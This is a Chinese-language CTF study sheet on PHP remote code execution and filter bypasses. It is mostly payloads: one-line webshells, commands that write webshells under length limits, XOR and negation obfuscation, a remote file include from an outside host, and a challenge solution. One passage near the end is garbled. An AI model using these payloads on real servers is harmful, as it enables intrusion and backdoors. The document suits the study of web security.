php遠端程式碼執行漏洞
RCE又稱遠端程式碼執行漏洞,可以讓攻擊者直接向後臺伺服器遠端注入作業系統命令或者程式碼,從而控制後臺系統。
PHP程式碼執行函式:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令執行函式:
system(),exec(),shell_exec(),pcntl_exec(),popen(),proc_popen(),passthru()等
常被禁用的函式: exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
一、函式
1.assert
// PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
// PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool
//引數 assertion 既支援表示式,也支援表示式字串(某些特定的場景會用到,比如判斷某個字串表示式是否合法)
版本的不相容
PHP >= 5.4.8,description 可作為第四個引數提供給 ASSERT_CALLBACK 模式裡的回撥函式
在 PHP 5 中,引數 assertion(斷言) 必須是可執行的字串,或者執行結果為布林值的表示式
在 PHP 7 中,引數 assertion 可以是任意表示式,並用其運算結果作為斷言的依據
在 PHP 7 中,引數 exception 可以是個 Throwable 物件,用於捕獲表示式執行錯誤或斷言結果為失敗。(當然 assert.exception 需開啟)
PHP >= 7.0.0,支援 zend.assertions、assert.exception 相關配置及其特性
PHP >= 7.2 版本開始,引數 assertion 不再支援字串
2.php函式替代
php中的'ls':
scandir(directory,sorting_order,context); 函式返回指定目錄中的檔案和目錄的陣列。
directory:必需,規定要掃描的目錄。
利用data偽協議:
?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
其他php常用函式
1.getcwd() 返回當前目錄的路徑,但是不回顯,需要 echo 或者 print 來輸出
2.glob($pattern, $flags):根據指定模式匹配獲取與之匹配的檔案或目錄列表。$pattern 引數是一個萬用字元模式,支援 * 和 ? 等萬用字元,例如 *.txt 匹配所有以 .txt 結尾的檔案。如果要獲取檔案和目錄,可以使用 * 作為萬用字元。$flags 引數是一個可選引數,用於設定匹配模式和排序規則等。
3.file_get_contents($filename) 是 PHP 中一個常用的檔案操作函式,它可以返回指定檔案的內容
Payload:?page=data://text/plain,<?php $a=file_get_contents('flag.php'); echo $a; ?>
4.htmlspecialchars(string)返回string中的除html標籤以外的字串
3.preg_match_all
//程式碼執行
preg_match_all(
string $pattern,
string $subject,
array &$matches = null,
int $flags = 0,
int $offset = 0
): int|false|null
引數
pattern
要搜尋的模式,字串形式。
subject
輸入字串。
matches
多維陣列,作為輸出引數輸出所有匹配結果, 陣列排序透過flags指定。
flags
可以結合下面標記使用(注意不能同時使用PREG_PATTERN_ORDER和 PREG_SET_ORDER):
PREG_PATTERN_ORDER
結果排序為$matches[0]儲存完整模式的所有匹配, $matches[1] 儲存第一個子組的所有匹配,以此類推。
因此下列情況中
(!preg_match_all("/(||&|;| |/|cat|flag|tac|php|ls)/", $str, $pat_array))
可以將rce程式碼輸入到$pat_array中。
4.shell_exec
shell_exec 與``作用相同,但無回顯,需要echo或其他的輸出函式使得其回顯
類似的函式:
exec 函式,無回顯
exec($cmd,$output,$status); //cmd是命令,output儲存輸出結果,status是執行狀態碼
print_r($output);
二、繞過
1.分隔引數繞過
eval($_GET['cmd']);
?cmd=$_POST[1]($_POST[2]);
1=system&2=whoami
2.長度限制
1.17字元RCE
<?php
//sleep(100);
if(isset($_REQUEST['code'])){
$code=$_REQUEST['code'];
if(strlen($code)<17 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
eval($code);
}else{
echo "the length is wrong";
}
}else{
highlight_file(__FILE__);
}
?>
unsort
繞過方法:
usort繞過:usort(array,my_function):bool,使用使用者自定義的函式(返回一個bool值)對陣列中的值進行比較,並對陣列中值進行排序
條件:php版本<7.2(PHP >= 7.2 版本開始,斷言不再支援字串)
//…運算子,對就是三個點,該運算子可以將陣列(必須是索引陣列)或者可遍歷的物件展開變為引數
pyload:code=usort(...$_GET);(post)
?1[]=test&1[]=phpinfo();&2=assert(get)
//相當於用assert取處理前面陣列裡面的每一個值,類似於:usort(['test','phpinfo()'],'assert')
反引號
php中的反引號
PHP執行運算子 :PHP 將嘗試將反引號中的內容作為 shell 命令來執行,並將其輸出資訊返回。使用反引號運算子`的效果與函式 shell_exec() 相同。
在 PHP 中,反引號(`)被用作命令替換符號,它的作用是執行命令並獲取其輸出。當反引號包圍的內容被執行時,PHP 將使用作業系統的命令直譯器來執行該命令,並將命令的輸出作為字串返回。
注意:
關閉了 shell_exec() 時反引號運算子是無效的。
pyload:
code=echo `$_GET[1]`;&1=id
編寫一句話木馬
?code=echo `$_GET[1]`;&1=touch len1.php
?code=echo `$_GET[1]`;&1=echo '<?php eval($_GET[1]);' > len1.php
遠端檔案包含的利用
正常檔案包含include $_GET[1];,這個剛好17個字元,超了一位。
不過,其實include$_GET[1];也是可以執行的,中間的空格可以不要。
這也是一個思路,但限制就是需要開啟遠端檔案包含,但這個選項預設是關閉的。
include包含的所有檔案都以php格式執行。
code=include$_GET[1];&1=//192.168.xxx.xxx//get.php
本地檔案包含的利用
思路:向伺服器寫入檔案幷包含
利用file_put_contents可以將字元一個個地寫入一個檔案中,大概請求如下:
?code=$_GET[a](N,a,8);&a=file_put_contents
原理:file_put_contents的第一個引數是檔名,我傳入N。PHP會認為N是一個常量,但我之前並沒有定義這個常量,於是PHP就會把它轉換成字串'N';第二個引數是要寫入的資料,a也被轉換成字串'a';第三個引數是flag,當flag=8的時候內容會追加在檔案末尾,而不是覆蓋。
除了 file_put_contents , error_log 函式效果也類似。
但這個方法有個問題,就是 file_put_contents 第二個引數如果是符號,就會導致PHP出錯,比如 :
?code=$_GET[a](N,<,8);&a=file_put_contents。
但如果要寫webshell的話,“<”等符號又是必不可少的。
於是微博上 @買貼膜的 想出一個辦法,每次向檔案'N'中寫入一個字母或數字,最後構成一個base64字串,再包含的時候使用php://filter對base64進行解碼即可。(難他天)🤣
<?php eval($_POST[_]);
檔案內容寫好後,使用檔案包含
code=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
POST:_=phpinfo();
競爭性漏洞
思路大致為,向phpinfo()介面透過POST請求傳入大量的垃圾資訊,以及一個檔案寫入 file_put_contents ,寫入的內容為 /var/www/html 下的一個一句話木馬,生成一個臨時檔案。讓php在處理垃圾資訊的時候,同時新開一個程序來包含這個臨時檔案,以達到執行檔案寫入的操作。
向phpinfo()傳入的程式碼:
file_put_contents(shell.php,'<?php eval($_GET[1]);>',8)
檔案包含的程式碼:
include$_GET[1];&1=/tmp/phpXXXXXXXXX
//可以使用. file+glob萬用字元的方法直接執行這個檔案
例如:
/tmp/php645ljI
. /???/????????[@-[] 達到即使沒有許可權也能執行這個檔案的目的
2.七字元RCE
<?php
if(isset($_REQUEST['code'])){
$code=$_REQUEST['code'];
if(strlen($code)<7 && stripos($code,'eval') === false && stripos($code,'assert') === false ){
shell_exec($code); //和之前的eval差不多
}else{
echo "the length is wrong";
}
}else{
highlight_file(__FILE__);
}
?>
`$_GET[1]` ----長度為10 //一般情況,即使最簡單的shell也要10個位元組
Linux命令長度限制突破
命令組裝
#命令長度受限,這時我們可以使用touch來生成檔案,然後將生成的檔名拼湊成一句命令,最後執行,達到目的
#也可以用輸入重導向 > 定向輸出到檔案(如果檔案不存在,就建立檔案)
<-- cat flag.php -->
替換:
touch a
touch "hp"
touch "g.p\\" #“\” linux中可以用\使指令連線下一行,這樣就可以寫多行命令了。(兩個\是因為要轉義)
touch "la\\"
touch "t f\\"
touch "ca\\"
ls -t
ls -t >a 將 ls -t 內容寫入到a檔案中
#Shell 指令碼的執行方式通常有如下三種:
#bash script-name 或者 sh script-name;
#path/script-name或者./script-name;
#sourcescript-name或者. script-name
sh a
rev 反轉命令
寫入一句話木馬
#寫入語句
<?php eval($_GET[1]);
#base64編碼後
PD9waHAgZXZhbCgkX0dFVFsxXSk7
#需要被執行的語句:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php
pyload:
>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0
3.五字元RCE
輸入統配符* ,Linux會把第一個列出的檔名當作命令,剩下的檔名當作引數
> echo
ls
*
#增加字母來限定被用來當作命令和引數的檔名
>ls
>lss
>lsss
>1
*s (等同於命令: ls lss lsss)
3.webshell繞過
----萬用字元繞過
原始碼中過濾了很多東西,可以使用的字元:p ` ? / + < > =
透過可用的字元構造cmd=?><?=`.+/??p/p?p??????`,由eval($cmd)來執行臨時檔案
備註:問號?代表一個任意字元,萬用字元/??p/p?p??????匹配/tmp/phpxxxxxx
----cat替代
當過濾cat時,可以用以下命令代替
more:一頁一頁的顯示檔案內容
less:與 more 類似
head:檢視頭幾行
tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示
tail:檢視尾幾行
nl:顯示的時候,順便輸出行號
od:以二進位制的方式讀取檔案內容
vi:一種編輯器,這個也可以檢視
vim:一種編輯器,這個也可以檢視
sort:可以檢視
uniq:可以檢視
file -f:報錯出具體內容
sh /flag 2>%261 //報錯出檔案內容
----ls替代
dir:按列輸出,不換行
rev:可以反轉檔案每一行的內容
------反引號繞過
註釋:反引號裡的內容會當做命令執行,並返回執行結果的字串
例如:ls的結果是flag
則cat `ls` 等同於 cat flag
--------編碼繞過
Base64
echo 'cat' | base64
output:Y2F0Cg==
`echo 'Y2F0Cg==' | base64 -d` flag # 結合反引號執行命令,返回:cat flag
output:flag{xxx}
其他:8進位制,16進位制等
echo -e "\x2f\x66\x6c\x61\x67" # /flag
echo -e "\057\0146\0154\0141\0147" # /flag
--------正規表示式繞過
cat ?la*
-------利用未初始化變數$u繞過
利用未初始化變數,使用$u繞過
例如過濾/1010/flag.pgp中的1010
cat 1010/flag.php
cat 1010$u/flag.php
1.過濾分隔符 | & ;
①可以使用%0a代替,%0a其實在某種程度上是最標準的命令連結符號
功能 符號 payload
換行符 %0a ?cmd=123%0als
回車符 %0d ?cmd=123%0dls
連續指令 ; ?1=123;pwd
後臺程序 & ?1=123&pwd
管道 | ?1=123|pwd
邏輯運算 ||或&& ?1=123&&pwd
符號 功能
; 分號
| 只執行後面那條命令
|| 只執行前面那條命令
& 兩條命令都會執行
&& 兩條命令都會執行
②?>代替;
在php中可以用?>來代替最後一個;因為php遇到定界符關閉標誌時,系統會自動在PHP語句之後加上一個分號。
2.關鍵詞繞過
----使用正斜槓“\”轉義符號,引號等繞過
當過濾某些關鍵詞時,使用正斜槓繞過
ca\t /fl\ag
或者使用引號:
cat fl''ag
-----變數拼接繞過
同樣是過濾某些關鍵詞時使用
a=fl;b=ag;cat$IFS$a$b
---------使用空變數$*和$@,$x,${x}繞過
ca$*t flag
ca$@t flag
ca$5t flag
ca${5}t flag
---------大小寫繞過
#極少遇到的繞過,一般正則都會有 i 選項防止大小寫繞過
----內斂執行代替system
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
3.輸入重定向
符號“<”在Linux命令列中起著輸入重定向的作用。它的主要功能是將檔案的內容作為命令的輸入,使得我們可以將檔案中的資料傳遞給某個命令,從而讓命令以檔案內容作為輸入進行操作。
command < input_file
cat < data.txt
其中,“command”是你想要執行的命令,“input_file”是一個包含輸入資料的檔案。當你在命令列中輸入這個命令時,系統會將“input_file”的內容作為“command”的輸入
<<< 符號 - 單行字串輸入
<<< 符號允許我們將單行字串傳遞給命令,作為其輸入。
例如:我們想要在一個字串中查詢特定的關鍵詞
grep "keyword" <<< "This is an example text containing the keyword."
4.preg_match繞過
陣列繞過
陣列繞過
preg_match()遇到陣列會直接返回flase。
常見陣列形式:
$a[]='flag.php';
$a=array('flag.php');
$a=['flag.php'];
%00繞過:
#沒有測試過
%00在urldecode後就是0x00,一些函式諸如preg_match遇到0x00會直接停止
%0a換行符繞過
#沒有測試過,很雞肋的繞過,只有 /^flag$/ 也就是^表示開頭$表示結尾,這樣的才能用
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
im模式是可以匹配很多行
i模式只能匹配一行
多行模式的意思是對每一行都進行正則匹配
在上述題目中,第一次匹配是多行,而第二次則是非多行
可以傳入?cmd=php%0aphp ,在第二次匹配中換行符不會被識別,相當於是php開頭,aaa結尾,不符合匹配。
或aaa%0aphp也可。
單字繞過
----chr()繞過
對過濾掉的符號進行繞過。
chr(ascii) 函式從指定 ASCII 值返回字元。
ASCII 值可被指定為十進位制值、八進位制值或十六進位制值。八進位制值被定義為帶前置 0,十六進位制值被定義為帶前置 0x。
例如:chr(47)=" / "
---十六進位制繞過
"\x73\x79\x73\x74\x65\x6d"("whoami"); #system("whoami")
eval("\x73\x79\x73\x74\x65\x6d\x28\x27\x64\x69\x72\x27\x29\x3b"); #執行system('dir');
回溯次數繞過
#沒有測試過
preg_match()的回溯次數可以設定,預設是1000000次(中英文次數不同,實測回溯為100w次,5.3.7版本以前是10w次),這個可以在php.ini中查詢
無數字字母型別
//preg_match函式用來將輸入的字串與正規表示式匹配
<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
if(preg_match('/[a-z0-9]/is',$_GET['shell'])){
echo "hacker!!!";
}else{
eval($_GET['shell']);
}
//難點在對輸入引數進行了正則匹配,過濾掉了字母和數字,因此要透過一些姿勢來繞過對字母、數字引數的過濾達到程式碼執行的目的
1.漢字取反繞過
在php的位運算子中,有一種運算方式叫做取反,運算子號為^
利用的是UTF-8編碼的某個漢字,並將其中某個字元取出來,比如:['和'{2}]的結果是["\x8c"],其取反即為字母s:
這裡還利用了php的弱型別的特點,因為要獲取 '和'{2},就必須有數字2。而PHP由於弱型別這個特性:
true 的值為 1 ,故 true + true == 2,也就是 ('>'>'<')+('>'>'<')==2
pyload:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
//取反中文字元fuzz的PHP指令碼
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
function str_split_unicode($str, $l = 0) {
if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
$s = '當我站在山頂上俯瞰半個鼓浪嶼和整個廈門的夜空的時候,我知道此次出行的目的已經完成了,我要開始收拾行李,明天早上離開這裡。前幾天有人問我,大學四年結束了,你也不說點什麼?烏雲發生了一些事情,所有人都緘默不言,你也是一樣嗎?你逃到南方,難道不回家了嗎?當然要回家,我只是想找到我要找的答案。其實這次出來一趟很累,晚上幾乎是熱汗淋漓回到住處,馬,追回十年前姑娘”。後來,感覺一切都步入正軌,學位證也順利拿到,我匆匆告別了自己的大學。後來也遇到了很多事,事後有人找我,很多人關心你,少數人可能不是,但出了學校以後,又有多少人和事情完全沒有目的呢?我也考慮了很多去處,但一直沒有決斷,倒有念懷舊主,也有妄自菲薄之意,我希望自己能做出點成績再去談其他的,所以很久都是閉門不出,琢磨東西。來到廈門,我還了一個願,又許了新的願望,希望我還會再次來還願。我又來到了上次沒住夠的鼓浪嶼,訂了一間安靜的房子,只有我一個人。在這裡,能聽到的只有遠處屋簷下鳥兒嘰嘰喳喳的鳴叫聲,遠處的喧囂早已煙消雲散,即使這只是暫時的。站在屋頂的我,喝下杯中最後一口水。清晨,揹著行李,我乘輪渡離開了鼓浪嶼,這是我第二次來鼓浪嶼,誰知道會不會是最後一次。我在這裡住了三天,用三天去尋找了一個答案。不知不覺我又想到辜鴻銘與沈子培的那段對話。“大難臨頭,何以為之?”“世受國恩,死生系之';
$arr_str=str_split_unicode($s);
for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
?>
2.URL編碼取反繞過
//注意: 該方法只適用於PHP7
對想要傳入的引數,先進行URL編碼再取反,得到的url編碼解碼後是一堆不可見字元,可以繞過對字母和數字的檢查
例如傳入構造一個phpinfo();
echo urlencode(~'phpinfo'); //%8F%97%8F%96%91%99%90
pyload:?shell=(~%8F%97%8F%96%91%99%90)();
3.異或繞過
原理:
在PHP中兩個字串異或之後,得到的還是一個字串。如果正則過濾了一些字串,那就可以使用兩個不在正則匹配範圍內的字串進行異或得到我們想要的字串。
例如:我們異或 `'?'`和 `'~'`之後得到的是 `'A'`
字元:? ASCII碼:63 二進位制: 0011 1111
字元:~ ASCII碼:126 二進位制: 0111 1110
異或規則:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述兩個字元異或得到 二進位制: 0100 0001
該二進位制的十進位制也就是:65
對應的ASCII碼是:A
echo '?'^'~'; //A
python指令碼
描述:
這裡的正則過濾了所有26個字母大小寫,如果我想要傳入一個eval($_POST[_]); 就需要異或得到這個eval($_POST[_]);字串
那麼如何知道哪兩個字元異或可以得到我們想要的字元,就比如如何得到第一個字元 e
這裡使用python指令碼fuzz測試了一下,指令碼如下:
def r_xor():
for i in range(0,127):
for j in range(0,127):
result=i^j
print(" "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))
if __name__ == "__main__":
r_xor()
#PHITHON師傅的一個payload
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
# assert($_POST[_])
//phpinfo()
$s=('/'^'_').('@'^'(').('/'^'_').('@'^')').(urldecode('%0e')^'@').(':'^'\\').(urldecode('%0f')^'@').'();';
eval($s);
//${_GET}{%ff}();&%ff=phpinfo
?shell=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
pyload:
((%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
(%8F%8D%96%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF)即print_r
(%8C%9C%9E%91%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF)即scandir 後面就是(.)
//print_r(scandir(.))
((%8F%9E%96%9C%9C%A0%9E)^(%FF%9C%FF%9B%9B%FF%9C)^(%FF%8F%FF%96%8C%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))(((%8C%9C%9E%9C%9B%96%9E)^(%FF%FF%FF%9B%FF%FF%9C)^(%FF%FF%FF%96%FF%FF%8F)^(%FF%FF%FF%FF%FF%FF%FF))((%D1)^(%FF)));
//readfile(end(scandir(.)))
((%8D%9A%9E%9B%99%96%93%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF))(((%9A%9E%9B)^(%FF%99%FF)^(%FF%96%FF)^(%FF%FF%FF))(((%8D%9E%9E%9E%9B%96%8D)^(%9A%9B%FF%99%FF%FF%FF)^(%9B%99%FF%96%FF%FF%FF)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));
4.遞增遞減運算子繞過
原理:
'a'++ => 'b','b'++ => 'c'… , 所以,我們只要能拿到一個變數,其值為a,透過自增操作即可獲得a-z中所有字元。
陣列(Array)的第一個字母就是大寫A,而且第4個字母是小寫a。也就是說,我們可以同時拿到小寫和大寫A,等於我們就可以拿到a-z和A-Z的所有字母。
在PHP中,如果強制連線陣列和字串的話,陣列將被轉換成字串,其值為Array,再取這個字串的第一個字母,就可以獲得'A'了。
#PHP函式是大小寫不敏感的
編寫了如下webshell:
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
pyload:?shell=
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
//執行:eval(ASSERT($POST[_])) POST傳入: _=phpinfo();
//傳參時需要url編碼一次!
//另外這裡利用版本也是PHP 7.0.12及以下版本,還是因為assert()到PHP7改了的問題
//PHP 7.0.12版本以上就不能用該方法了
5.死亡繞過
<?php
$content='<?php exit;>';
$content.=$_POST['txt'];
file_put_contents($_POST['filename'],$content);
?>
POST:
txt=<?php eval($_GET[1]);?>;&filename=k3k.php
檢視後臺,確實生成了檔案,但是檔案內容拼接在exit後面。程式遇見即結束。 將繞過這種限制的行為稱為死亡繞過。我們想要繞過就需要將<?php exit;>給拿掉
死亡繞過的解決方法:
1、base64解碼
首先使用 php://filter/write=convert.base64-decode
將檔案的內容先進行解碼。
一個正常的base64_decode實際上可以理解為如下兩個步驟:
<?php
$_GET['txt'] = preg_replace('I[^a-z0-9A-Z+/]|s','',$_GET['txt']);
base64_decode($_GET['txt']);
所以第一步便將其中的"< ? ; >" 四個字元全匹配掉了。然後剩下"phpexit"這7個位元組。
base64解碼是以4個位元組為一組。所以給檔案補上一個位元組,然後加入我們自己的base64編碼後的程式碼。
txt=aPD9waHAgZXZhbCgkX1BPU1RbOV0pOw;&filename=php://filter/write=convert.base64-decode/resource=k3k.php
即"phpexitaPD9waHAgZXZhbCgkX1BPU1RbOV0pOw;" =>^ƫZ<?php eval($_POST[9]);
2.xml標籤
這個標籤<?php exit;?>實際上是什麼?
實際上它是一個xml標籤,既然是xml標籤,就可以利用strip_tags函式去除他,剛好php的偽協議是支援這個方法的
POST:
txt=<?php eval(@_GET[9];)>;&filename=php://filter/write=string.strip_tags/resource=k3k.php
php偽協議 允許使用多個過濾器:
txt=?>PD9waHAgZXZhbCgkX1BPU1RbOV0pOw==;&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=k3k.php
6.無回顯
輸出重定向,建立檔案
$ cat /flag > 1.txt
#在php頁面訪問1.txt
php函式file_put_content,寫檔案
file_put_contents("file","content"); 方法寫入
copy複製、move移動
$ copy /flag 1.txt
$ move /flag 1.txt
7.白名單
白名單一般都有固定的解法,一般要具體問題具體分析,下面是一些實戰例題
1.XYCTF[ezRCE]
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
wp
而且 system($cmd);是直接執行系統命令
那好,現在我們來嘗試構造payload
首先系統命令?cmd=肯定是要的
那我們這裡就在想了,既然限制我們只能輸入這些
那我們普通的 ls cat 這些命令不就用不了了嘛
其實liunx命令使用八進位制也能執行
就比如ls的八進位制是\154\163
但不能被直接讀取,如果這樣的話,系統會直接預設為普通數字並不會有任何操作
我們可以利用bash的 ′ s t r i n g ′ 語法,它允許字串中的轉義序列被解釋。那這裡我們就可以直接寫成 'string' 語法,它允許字串中的轉義序列被解釋。 $'\154\163',就這樣,我們嘗試一下能不能在liunx裡面執行
下面是php指令碼
<?php
function bin2oct($str){
$s='';
foreach($str as $char){
$s.='\\'.decoct(hexdec(bin2hex($char)));
}
return $s;
}
echo '$\''.bin2oct(str_split('cat')).'\'<$\''.bin2oct(str_split('/flag')).'\'';
//$'\143\141\164'<$'\57\146\154\141\147'